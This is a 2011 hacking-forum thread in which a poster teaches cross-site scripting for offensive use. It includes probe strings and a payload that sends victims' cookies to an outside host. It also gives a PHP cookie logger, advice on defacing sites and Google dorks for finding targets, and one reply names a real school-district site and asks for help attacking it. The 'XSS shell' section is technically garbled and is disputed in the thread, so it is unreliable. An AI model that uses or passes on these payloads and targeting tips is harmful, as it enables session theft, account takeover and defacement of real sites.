

Forum:[Hack Forums](#)

Thread: [XSS \(Cross Site Scripting\) Tutorial](#)

Level 85 Tauren Chieftain - February 17, 2011, 7:09 pm

1. What is Cross Site Scripting?

Cross Site Scripting (referred to as XSS throughout this tutorial) is a commonly found vulnerability on websites that allow you to execute client side script (code that is executed CLIENT side, not SERVER side) on these sites.

2. How is XSS implemented and exploited?

XSS is used by injecting code into a field on a website that allows input from the user. Examples of this would be search bars, login fields, and comment fields. The type of languages that can be used with XSS include HTML, VBScript, Javascript, and ActiveX, and Flash. A common use for this vulnerability is stealing session ID's and cookies, which is vital for another form of hacking called "Javascript Injection". A less common use is to upload a shell exploiting the XSS vulnerability gaining unauthorized user privileges. XSS Shells are usually more advanced than shells used with SQLi, RFI, and LFI hacking, as people will actually visit the pages on which the XSS shell is located, thus allowing DDoSing capabilities, Keylogging, and more. You can also deface the website on which you upload the XSS shell onto.

Sadly, the only way that an XSS vulnerability can even begin to be exploited is by inputting the script onto a portion of the website in which it will be saved onto the server. This includes guestbooks, thread names, and forum posts.

3. How can I test for XSS vulnerabilities?

There are a few tried and tested method to testing for this type of vulnerability. I will list a couple of good ways to do this.

A) Address Bar

You can enter in the code into the address bar on a site that you want to test for XSS.

An example of this would be:

Code

```
http://vulntest.com/index.php?id=';alert(String.fromCharCode(88,83,83))/\';alert(String.fromCharCode(88,83,83))/"/';alert(String.fromCharCode(88,83,83))/\<script>alert(String.fromCharCode(88,83,83))</script>>'><script>alert(String.fromCharCode(88,83,83))</script>>If the site is vulnerable, a box will appear saying "XSS". Remember that sometimes input is sanitized! You can bypass this by using Unicode or by using a fromCharCode
```

B) Search Bar

You can also enter in code into a search field. These can be found on FAQ pages, member lists, or they can be found with links on the main page.

When testing on a search bar, we will use a different script:

Code <SCRIPT SRC=http://blablabla.js></SCRIPT>

If a javascript box pops up, you're in luck!

Remember, sometimes input is sanitized! You can bypass this by using Unicode or by using fromCharCode.

3. What do I do when I have found a vulnerable site?

This is the fun part. So you've found a vulnerable site, now the only thing stopping you is if the website has a place to input the code that will actually show up after you enter it. Examples of this could be a post on a thread or making a new thread, a comment on an article or video, or a guestbook. What you will now do is use javascript to upload a shell or steal a users cookies.

Stealing Cookies:

Code <script>document.location="http://www.host.com/mysite/stealer.php?cookie=" + document.cookie;</script>

This is the script you will be using that will take a users cookie. When they go onto the page that contains this code, their cookies will be sent to you. Before this, you will need to set up a free site on a host with a simple PHP script that will store the cookies, here is what it would look like:

Code <?php // line 1
\$cookie = \$_HTTP_GET_VARS["cookie"]; // line 2
\$file = fopen('cookie.log.txt', 'a'); // line 3
fwrite(\$file, \$cookie . "\n\n"); // line 4

?>All you need to do is make a .txt file and a .php file. The .txt file will be empty and will be called cookie.log.txt, and the .php file will store the code above. You can use these cookies for a form of hacking called JAVascript Injection which I will make a tutorial for later, and it can be used to gain privileges that you are not meant to normally have.

Uploading a shell:

Basically, you will make a free website and upload the shell files to it. You can find XSS shells on Google. PHP shells will not work.

What you will do is enter it into the guestbook/thread/comment, and it will look like this:

Code <script>"http://www.host.com/shell" </script>

You can then procede to deface the site.

Sorry I will edit the end when I get back home, I am in a rush as I'm about to go to a friend's house.

Also, I will write a javascript injection tutorial when I get back.

3xtreme - February 17, 2011, 7:44 pm

Thanks for the tut!

What a nice intro to XSS :)

Level 85 Tauren Chieftain - February 17, 2011, 7:57 pm

(Feb 17, 2011 08:44 PM)3xtreme Wrote: [\[CITE\]](#) Thanks for the tut!

What a nice intro to XSS :)

No problem, if you have any questions then please feel free to ask them.

Level 85 Tauren Chieftain - February 18, 2011, 5:09 am

I spent a long time writing this. :(

lr00tstuff - February 18, 2011, 7:32 am

Nice tutorial keep it up :D

ThankYouAndGoodbye - February 18, 2011, 7:36 am

Nice but breif, an explanation of the use of escapes in XSS filter evasion.

Also you cant upload a PHP shell via XSS because HTML is parsed after PHP so all you would get was an output of the plaintext php code, unparsed. I suggest you remove the section about shells before getting acused of misleading members.

Happy Hacking

Level 85 Tauren Chieftain - February 18, 2011, 7:47 am

(Feb 18, 2011 08:36 AM)sol@ris Wrote: [\[CITE\]](#) Nice but breif, an explanation of the use of escapes in XSS filter evasion.

Also you cant upload a PHP shell via XSS because HTML is parsed after PHP so all you would get was an output of the plaintext php code, unparsed. I suggest you remove the section about shells before getting acused of misleading members.

Happy Hacking

You can upload shells made especially for XSS:

<http://www.bindshell.net/tools/beef>

Did it before, it works.

Boing - February 18, 2011, 8:30 am

Hey, nice tutorial.

Could you link via PM me some XSS vulnerable sites just to test? I can't find one >.<

Level 85 Tauren Chieftain - February 18, 2011, 8:36 am

(Feb 18, 2011 09:30 AM)Boing7898 Wrote: [\[CITE\]](#) Hey, nice tutorial.

Could you link via PM me some XSS vulnerable sites just to test? I can't find one >.<

Sorry, I don't have any on hand. I suggest searching for guestbooks online by typing something like Code inurl:guestbook.html or Code inurl:faq.php?search.

You can also Google XSS Dorks.

hossein - February 21, 2011, 11:10 am

I looking for xss in this site but i can't find it can you guys help me ?

www.fcps.org

Ir00tstuff - February 28, 2011, 11:47 am

Just use acunetix for finding vurnablilty's easiest way.